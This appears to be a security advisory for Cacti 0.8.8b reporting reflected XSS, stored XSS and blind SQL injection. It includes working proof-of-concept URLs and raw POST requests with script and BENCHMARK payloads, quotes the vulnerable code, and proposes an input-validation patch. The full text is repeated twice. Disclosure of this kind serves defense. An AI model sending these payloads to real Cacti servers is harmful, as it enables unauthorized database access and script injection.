The following are XSS and SQL Injection vulnerabilities I've found in the latest version of Cacti (0.8.8b), but are also in lower versions.
[ Reflected XSS ]
There is a reflected Cross Site Scripting vulnerability in the "step" parameter of the "/install/index.php" script.
http://<IP>/cacti/install/index.php?x=52&y=21&step="><script>alert(12345)</script> [ ^]
[ Stored XSS ]
The "/cacti/host.php" script is vulnerable to a stored Cross Site Scripting vulnerability in the "id" parameter.
Send the following POST request.
POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
id=<script>alert(12345)</script>&save_component_host=1&action=save
Now browse to http://<IP>/cacti/utilities.php?tail_lines=500&message_type=-1&go=Go&refresh=60&reverse=1&filter=12345&page=1&action=view_logfile [ ^] and you'll see a popup with the text "12345".
[ Blind SQL Injection ]
The "/cacti/host.php" script is vulnerable to Blind SQL Injection in the "id" parameter. The proof of concept below will send a query to the backend MySQL which will calculate the MD5 hash for "1" 1000000 times and thus cause a delay before finishing the query.
POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
id=-1 AND BENCHMARK(1000000,MD5(1))&save_component_host=1&action=save
The SQLi vulnerability is in the host.php which doesn't sanitize the $id parameter when providing it to the api_device_save() function in lib/api_device.php
host.php:
152: $host_id = api_device_save($_POST["id"], $_POST["host_template_id"], $_POST["description"],
lib/api_device.php:
94: function api_device_save($id, $host_template_id, $description, $hostname, $snmp_community, $snmp_version,
[..SNIP..]
103: /* fetch some cache variables */
104: if (empty($id)) {
105: $_host_template_id = 0;
106: }else{
107: $_host_template_id = db_fetch_cell("select host_template_id from host where id=$id");
108: }
The changes below in "host.php" will fix this:
148: if ((isset($_POST["save_component_host"])) && (empty($_POST["add_dq_x"]))) {
149:+ /* ================= input validation ================= */
150:+ input_validate_input_number(get_request_var_post("id"));
151:+ /* ==================================================== */
152: if ($_POST["snmp_version"] == 3 && ($_POST["snmp_password"] != $_POST["snmp_password_confirm"])) {
[ Reflected XSS ]
There is a reflected Cross Site Scripting vulnerability in the "step" parameter of the "/install/index.php" script.
http://<IP>/cacti/install/index.php?x=52&y=21&step="><script>alert(12345)</script> [ ^]
[ Stored XSS ]
The "/cacti/host.php" script is vulnerable to a stored Cross Site Scripting vulnerability in the "id" parameter.
Send the following POST request.
POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
id=<script>alert(12345)</script>&save_component_host=1&action=save
Now browse to http://<IP>/cacti/utilities.php?tail_lines=500&message_type=-1&go=Go&refresh=60&reverse=1&filter=12345&page=1&action=view_logfile [ ^] and you'll see a popup with the text "12345".
[ Blind SQL Injection ]
The "/cacti/host.php" script is vulnerable to Blind SQL Injection in the "id" parameter. The proof of concept below will send a query to the backend MySQL which will calculate the MD5 hash for "1" 1000000 times and thus cause a delay before finishing the query.
POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
id=-1 AND BENCHMARK(1000000,MD5(1))&save_component_host=1&action=save
The SQLi vulnerability is in the host.php which doesn't sanitize the $id parameter when providing it to the api_device_save() function in lib/api_device.php
host.php:
152: $host_id = api_device_save($_POST["id"], $_POST["host_template_id"], $_POST["description"],
lib/api_device.php:
94: function api_device_save($id, $host_template_id, $description, $hostname, $snmp_community, $snmp_version,
[..SNIP..]
103: /* fetch some cache variables */
104: if (empty($id)) {
105: $_host_template_id = 0;
106: }else{
107: $_host_template_id = db_fetch_cell("select host_template_id from host where id=$id");
108: }
The changes below in "host.php" will fix this:
148: if ((isset($_POST["save_component_host"])) && (empty($_POST["add_dq_x"]))) {
149:+ /* ================= input validation ================= */
150:+ input_validate_input_number(get_request_var_post("id"));
151:+ /* ==================================================== */
152: if ($_POST["snmp_version"] == 3 && ($_POST["snmp_password"] != $_POST["snmp_password_confirm"])) {